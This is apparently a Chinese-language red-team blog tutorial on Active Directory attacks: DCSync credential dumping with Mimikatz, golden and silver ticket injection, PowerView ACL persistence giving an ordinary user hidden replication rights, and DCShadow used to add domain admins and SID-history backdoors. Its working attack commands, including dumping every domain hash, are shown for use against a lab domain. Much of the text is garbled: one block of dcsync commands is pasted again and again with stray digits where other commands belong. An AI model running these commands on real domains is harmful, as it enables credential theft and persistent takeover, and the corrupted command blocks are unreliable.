DCSync
原理
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。
2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。
在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。
注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。
DCSync最强大的功能是不用登录域控,即可通过数据同步的方式远程获取指定用户的密码信息。但是DCSync 攻击的对象如果是RODC域控制器(只读域控制器),则会失效,因为RODC与可读写域控制器之间是的复制是单向复制无法请求同步数据。
前置
获得以下任意权限
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
或者向域内的一个普通用户添加如下三条ACE(Access Control Entries,访问控制条目):
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用DCSync导出域内所有用户hash的权限。
利用
简单利用
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv
进阶利用
生成黄金票据
导出krbtgt账户hash
lsadump::dcsync /domain:redteam.local /user:krbtgt
之后在win2008机器注入黄金票据
kerberos::golden /user:administrator /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /krbtgt:c1fae0c27a40526e4ade2065d9646427 /ptt
成功与域控建立连接
域内权限维持
如前文所述,我们如果让普通域用户获得了访问控制条目即可拥有DCSync权限,那么就相当于让普通域用户有了隐藏的域管权限
这里我们使用powerview来实现,给普通域用户DB添加
Import-Module .PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity DB -Rights DCSync -Verbose
之后用DB用户测试
成功使用DCSync dumphash
之后输入
1
即可删除权限
查找具有 DCSync权限的用户
我们可以使用ADFind
3
之后我们删除再次重新寻找,发现DB账户的权限成功删除
使用MachineAccount实现DCSync
MachineAccount是每台计算机在安装系统后默认生成的计算机帐户
如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中
计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令
计算机帐户的密码存储在注册表中的位置为:
5
利用
因为白银票据注入是需要MachineAccount账户的hash的,所以下一步我们使用白银票据测试
先测试下删除DCSync权限的情况
嗯,没有权限
之后我们注入白银票据(这里的服务可以注入ldap服务,注入机器hash为DC)
7
成功利用白银票据dumphash
同时黄金票据也测试成功
扩展
更多的我们可以impacket包的secretsdump来远程利用
9
也可以通过 wmiexec.py 或smbexec.py远程执行cmd命令 (winserver2016已经不能用机器账户进行认证登陆)
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv0
通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能
导出域内administrator帐户的hash:
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv1
导出域内所有用户的hash:
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv3
DCshadow
原理
Mimikatz远程从DC中复制数据,即Dcsync; 类似的dcshadow可以伪装成DC,让正常DC通过伪造的DC中复制数据。
步骤
1、通过dcshadow更改配置架构和注册SPN值,将我们的服务器注册为Active Directory中的DC
2、在我们伪造的DC上更改数据,并利用域复制将数据同步到正常DC上。
从原理中我们可以认识到两点:
1、需要具备域管权限或域控本地管理权限,注册spn值,写权限等
2、除了dc之间的连接通信,默认情况下不会记录事件日志
前置
域控新创一个测试域普通用户lh
起一个system的进程
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv5
新起一个域管cmd窗口
攻击
system执行,更改描述符
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv6
之后域管执行push
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv7
推送刷新成功,在域控查看发现打成功了
添加域管
查看本地域管
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv8
发送我们的payload并且推送
再次查看域管
前后对比
添加sid history后门
查看当前域管的sid
#只获取单个用户hashlsadump::dcsync /domain:redteam.local /user:IT /csv
#获取单个用户凭证lsadump::dcsync /domain:redteam.local /user:IT
#导出域内所有用户hashlsadump::dcsync /domain:redteam.local /all /csv9
发送我们的payload
之后重启用户
连接域控成功
参考
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync
https://www.anquanke.com/post/id/146551
还没有评论,来说两句吧...